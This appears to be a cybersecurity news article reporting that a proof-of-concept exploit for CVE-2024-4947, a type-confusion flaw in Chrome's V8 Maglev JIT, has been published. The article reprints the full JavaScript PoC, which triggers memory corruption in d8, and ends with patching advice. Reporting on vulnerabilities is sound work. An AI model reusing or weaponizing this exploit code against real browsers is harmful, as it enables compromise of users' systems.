Tuesday, November 12, 2024
HomeCyber Security NewsPoC Exploit Published for 0-day Vulnerability in Google Chrome

PoC Exploit Published for 0-day Vulnerability in Google Chrome

Published on

Malware protection

A proof-of-concept (PoC) exploit for a critical zero-day vulnerability (CVE-2024-4947) in Google Chrome has been made public.

The potential for exploitation of this vulnerability, which impacts the V8 JavaScript engine, has generated considerable apprehension among members of the cybersecurity community.

Details of CVE-2024-4947

The CVE-2024-4947 vulnerability arises from erroneous AccessInfo values assigned to module namespace objects within the V8 engine.

- Advertisement - SIEM as a Service

ANYRUN malware sandbox’s 8th Birthday Special Offer: Grab 6 Months of Free Service

This vulnerability may cause type confusion in the Just-In-Time (JIT) compiler Maglev, which V8 utilizes.

Type confusion vulnerabilities manifest when an application declares a variable or object as one type but subsequently manipulates its type, as reported by GitHub. This can potentially result in security breaches and erratic behavior.

Technical Breakdown

The matter transpires when the V8 engine processes AccessInfo for module namespace objects in an erroneous manner, leading to a misinterpretation of the types of these objects by the Maglev JIT compiler.

An assailant may exploit this misunderstanding to execute arbitrary code within the browser’s context, potentially resulting in a complete compromise of the system.

// run with: `/d8 --allow-natives-syntax --maglev --expose-gc --soft-abort --trace-deopt 22.mjs`

import * as ns from "./22.mjs";

export let c = 0;

function to_fast(o) {

  var dummy = {'unique':5};

  dummy.__proto__ = o;                                                                                                                                                                                                                

  dummy.__proto__ = o; //OptimizeAsFastPrototype

}

to_fast(ns);

function store(target, v) {

  target.c = v;

}

function createObject() {

  let a = {};

  a.i1 = 1;

  a.i2 = 1;

  a.i3 = 1;

  a.i4 = 1;

  // -----------------

  for (let i = 0; i < 8; i++) {

    a[`p${i}`] = 1;

  }

  return a;

}

function init() {

  let a = createObject();

  a.__proto__ = ns;

  // %DebugPrint(a);

  return a;

}

(function() {

  %PrepareFunctionForOptimization(store);

  store(init(), 0);

  %OptimizeMaglevOnNextCall(store);

  store(init(), 0);

})();

function confuse_properties_map(arg) {

  store(arg, 0x1);

}

let a = init();

let arr = [];

arr.push(1.1);

let arr2 = [{}];

confuse_properties_map(a);

gc();

// %DebugPrint(a);

// %DebugPrint(arr);

a.p5 = 1024;

a.p7 = 1024;

%DebugPrint(arr);

// %SystemBreak();


The PoC exploit illustrates how a malevolent actor can exploit this susceptibility to execute arbitrary code.

The methodology entails developing a malevolent webpage that, upon user interaction, activates the type confusion vulnerability in the V8 engine, thereby granting the assailant permission to execute illicit code on the target’s system.

PoC exploit serves
PoC exploit serves

Recommendations and Implications

Considering the pervasive utilization of Google Chrome, this susceptibility presents a substantial hazard to users across the globe.

Users must immediately update their browsers to the most recent version whenever a security upgrade is available.

Organizations should also consider implementing additional security measures, such as intrusion detection systems and web application firewalls, to reduce the risk of exploitation.

A proof-of-concept exploit for CVE-2024-4947 has been made public, highlighting the persistent difficulties in securing contemporary web browsers.

Maintaining a state of constant vigilance and proactivity in the face of security threats is critical for both developers and users, as malicious actors persist in discovering and capitalizing on weaknesses in widely utilized software.

Free Webinar on Live API Attack Simulation: Book Your Seat | Start protecting your APIs from hackers

Divya
Divya
Divya is a Senior Journalist at GBhackers covering Cyber Attacks, Threats, Breaches, Vulnerabilities and other happenings in the cyber world.

Latest articles

10 Best DNS Management Tools – 2025

Best DNS Management Tools play a crucial role in efficiently managing domain names and...

Sweet Security Announces Availability of its Cloud Native Detection & Response Platform on the AWS Marketplace

Customers can now easily integrate Sweet’s runtime detection and response platform into their AWS...

Researchers Detailed Credential Abuse Cycle

Cybercriminals exploit leaked credentials, obtained through various means, to compromise systems and data, enabling...

New Android Malware SpyAgent Taking Screenshots Of User’s Devices

SpyAgent, a newly discovered Android malware, leverages OCR technology to extract cryptocurrency recovery phrases...

Free Webinar

Protect Websites & APIs from Malware Attack

Malware targeting customer-facing websites and API applications poses significant risks, including compliance violations, defacements, and even blacklisting.

Join us for an insightful webinar featuring Vivek Gopalan, VP of Products at Indusface, as he shares effective strategies for safeguarding websites and APIs against malware.

Discussion points

Scan DOM, internal links, and JavaScript libraries for hidden malware.
Detect website defacements in real time.
Protect your brand by monitoring for potential blacklisting.
Prevent malware from infiltrating your server and cloud infrastructure.

More like this

Researchers Detailed Credential Abuse Cycle

Cybercriminals exploit leaked credentials, obtained through various means, to compromise systems and data, enabling...

New Android Malware SpyAgent Taking Screenshots Of User’s Devices

SpyAgent, a newly discovered Android malware, leverages OCR technology to extract cryptocurrency recovery phrases...

Tor Network Suffers IP Spoofing Attack Via Non-Exit Relays

In late October 2024, a coordinated IP spoofing attack targeted the Tor network, prompting...